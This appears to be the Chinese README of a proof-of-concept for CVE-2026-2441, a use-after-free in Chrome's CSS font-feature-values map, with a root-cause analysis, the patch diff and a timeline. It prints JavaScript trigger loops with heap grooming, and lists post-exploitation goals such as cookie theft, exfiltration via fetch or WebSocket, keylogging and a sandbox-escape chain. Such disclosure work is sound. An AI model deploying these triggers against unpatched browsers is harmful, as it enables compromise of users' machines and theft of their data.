| 字段 | 值 |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8(高危) |
| 类型 | 释放后使用(CWE-416) |
| 组件 | Blink CSS — CSSFontFeatureValuesMap |
| 源文件 | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| 修复提交 | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| 报告者 | Shaheen Fazim(2026-02-11) |
| 补丁日期 | 2026-02-13 |
| 野外利用 | 是 — Google 已确认存在活跃利用 |
| 平台 | 受影响 | 已修复 |
|---|---|---|
| Windows / macOS(稳定版) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux(稳定版) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS(扩展稳定版) | < 144.0.7559.177 | >= 144.0.7559.177 |
| 基于 Chromium 的浏览器(Edge、Brave、Opera、Vivaldi) | 请查阅厂商公告 | 各不相同 |
FontFeatureValuesMapIterationSource 存储了一个指向内部 FontFeatureAliases HashMap 的原始指针(const FontFeatureAliases* aliases_)。当在迭代期间通过 set() 或 delete() 修改该映射时,HashMap 会进行重新哈希——分配新的存储空间并释放旧的。原始指针变为悬垂指针,下一次调用 FetchNextItem() 时会从已释放的内存中读取数据。
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = 指向内部 HashMap 的原始指针
→ iterator_ = aliases_->begin()
FetchNextItem()
→ 读取 iterator_->key(通过 aliases_)
如果在两次迭代之间调用了 map.set() / map.delete():
→ HashMap 重新哈希(新分配,旧释放)
→ aliases_ → 悬垂指针
→ iterator_ → 失效
→ 下一次 FetchNextItem() → 释放后使用
- const FontFeatureAliases* aliases_; // 原始指针 → 重新哈希后悬垂
+ const FontFeatureAliases aliases_; // 深拷贝 → 不受重新哈希影响
该修复将原始指针替换为 HashMap 的深拷贝。即使原始映射重新哈希,迭代器也在其自身的副本上操作,从而防止悬垂指针。
poc.html| Chrome 版本 | 预期行为 |
|---|---|
| < 145.0.7632.75(未修补) | 渲染器崩溃 — STATUS_ACCESS_VIOLATION(Windows)或 SIGSEGV(Linux/macOS)。Chrome 显示“无法打开此页面”错误。 |
| >= 145.0.7632.75(已修补) | 无崩溃 — PoC 运行至完成,所有条目均正常读取。 |
在易受攻击的 Chrome 版本中打开时,渲染器进程会以 STATUS_ACCESS_VIOLATION 崩溃:
无法打开此页面
错误代码:STATUS_ACCESS_VIOLATION
这确认了 UAF 已被触发——悬垂指针访问了已释放/未映射的内存,导致渲染器进程终止。
该 PoC 通过三种独立方法触发 UAF:
entries() 迭代器 + 修改循环const iterator = map.entries();
while (step < 20) {
iterator.next(); // 通过(现已悬垂的)指针读取
map.delete(key); // 触发重新哈希
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // 强制重新分配
}
for...of + 并发修改for (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + 布局重算function rafTrigger() {
document.body.offsetWidth; // 强制布局重算
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
每种方法还包含堆喷射整理——分配 50 个相同大小的 @font-feature-values 规则,使堆布局可预测,以便潜在的利用。
document.cookie、localStorage、sessionStorage、表单输入值fetch() / WebSocket / sendBeacon() 外传addEventListener('keydown') 捕获所有按键当与单独的沙箱逃逸漏洞结合时:
渲染器 RCE(CVE-2026-2441)
→ Mojo IPC 利用 → 浏览器进程 RCE
→ 内核利用 → 完全控制系统
→ 恶意软件 / 勒索软件 / 间谍软件安装
→ 文件系统访问、横向移动、持久化
使用类似浏览器 UAF 的真实世界利用链:
该漏洞可通过路过式下载进行利用——无需用户交互,只需访问恶意页面即可:
chrome://flags/#site-isolation-trial-opt-out)| 日期 | 事件 |
|---|---|
| 2026-02-11 | 漏洞由 Shaheen Fazim 报告 |
| 2026-02-13 | Google 发布 Chrome 145.0.7632.75/76(Windows/macOS)、144.0.7559.75(Linux) |
| 2026-02-13 | Google 确认存在野外利用 |
| 2026-02-16 | Vivaldi 和 Opera 发布修复 |
如果您觉得这项研究有用,可以考虑请我喝杯咖啡:
此概念验证仅用于教育和授权的安全研究目的。未经明确许可对系统使用此 PoC 是非法的且不道德的。作者对任何滥用行为概不负责。
MIT